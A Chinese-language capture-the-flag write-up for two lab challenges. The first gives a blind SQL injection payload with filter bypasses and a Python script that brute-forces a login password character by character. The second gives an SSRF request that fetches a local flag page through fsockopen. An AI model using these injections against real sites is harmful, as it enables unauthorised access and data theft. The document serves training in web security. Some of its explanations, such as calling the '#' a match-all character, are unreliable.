NSSCTF[NSSROUND 8]yet_another_mysql_injection

一共两种解法,爆破密码 和 quine注入,本文只介绍第一种方法,第二种方法网上也有很多脚本

知识:

  • % 只在 SQL 的 LIKE 语句中生效
  • _ 只匹配一个字符
    • 在sql里面匹配前一个字符x次

爆破密码password

经过尝试,发现过滤了空格和等号,用/**/和like来绕过,一个字母一个字母来爆破,构建查询语句:

1'or/**/password/**/like/**/'{flag+i}%'#

#的作用是匹配还未爆破到的密码,如果用*则只能匹配单个字母,所以用#匹配后面所有的字符

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
str = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+-=[]{}|;:,.<>?"
url = 'http://node4.anna.nssctf.cn:26987/'
flag = ""
while 1:
for i in str:
data = {
"username": "admin",
"password": f"1'or/**/password/**/like/**/'{flag+i}%'#"
}
post = requests.post(url=url, data=data)
time.sleep(0.1)
if "something wrong" not in post.text:
flag += i
print(flag)
break
else:
pass
if "111111" in flag:
break

去掉末尾的11111即可拿到flag

HNCTF 2022 WEEK2 ez_ssrf

首先用disearch扫一下看看

扫描结果

发现有flag.php打开后显示localhost

知识:

  • fsockopen() 函数是用于建立一个 socket 连接,一般出现这个函- 数都是有ssrf的
  • fsockopen(hostname, port, errno, errstr, timeout)
  • 允许连接另一个服务器
  • 设置主机为127.0.0.1 从而造成ssrf
  • 参数:
  • hostname 如果安装了OpenSSL,那么你也许应该在你的主机名地- 址前面添加访问协议ssl://或者是tls://,从而可以使用基于- - TCP/IP协议的SSL或者TLS的客户端连接到远程主机。
  • port 端口号。如果对该参数传一个-1,则表示不使用端口,例如- unix://。
  • errno 如果errno的返回值为0,而且这个函数的返回值为 - - - - FALSE ,那么这表明该错误发生在套接字连接(connect())调用- 之前,导致连接失败的原因最大的可能是初始化套接字的时候发- 生了错误。
  • errstr 错误信息将以字符串的信息返回。
  • timeout 设置连接的时限,单位为秒。
1
2
3
4
5
6
<?php
$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n";
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);
?>

出来是

1
R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

为什么不用在线base64编码呢,因为tmd格式一直不过,\r\n加了不行

那为什么port是80端口呢,因为80端口是 HTTP 服务的默认端口,其他的试了没回显

1
?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

回显图片